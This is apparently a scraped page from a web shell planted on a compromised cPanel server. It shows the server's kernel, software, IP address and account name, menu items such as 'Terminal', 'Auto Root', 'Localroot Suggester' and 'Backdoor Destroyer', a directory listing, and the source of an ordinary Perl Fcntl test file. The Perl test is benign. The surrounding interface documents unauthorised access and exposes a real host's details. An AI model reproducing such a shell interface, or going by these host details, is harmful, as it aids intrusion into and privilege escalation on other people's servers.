Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
ext /
Fcntl /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
autoload.t
918
B
-r--r--r--
2014-12-27 11:48
fcntl.t
1.44
KB
-r--r--r--
2014-12-27 11:48
mode.t
2.03
KB
-r--r--r--
2014-12-27 11:48
syslfs.t
6.79
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!./perl -w use strict; use Test::More; require Fcntl; # SEEK_SET intentionally included to test the skip functionality. foreach my $symbol (qw(SEEK_SET O_BINARY S_ENFMT)) { my $full_name = "Fcntl::$symbol"; if (defined eval $full_name) { foreach my $code ($full_name, "$full_name()") { my $value = eval $code; like ($value, qr/^[0-9]+$/, "$code is defined on this system"); } } else { foreach my $code ($full_name, "$full_name()") { my $value = eval $code; like ($@, qr/^Your vendor has not defined Fcntl macro $symbol, used at \(eval [0-9]+\) line 1\n\z/, "Expected error message for $symbol, not defined on this system"); } } } my $value = eval 'Fcntl::S_ISPIE()'; is($value, undef, "Fcntl::S_ISPIE isn't valid"); like ($@, qr/^S_ISPIE is not a valid Fcntl macro at \(eval [0-9]+\) line 1\n\z/, "Expected error message for S_ISPIE"); done_testing();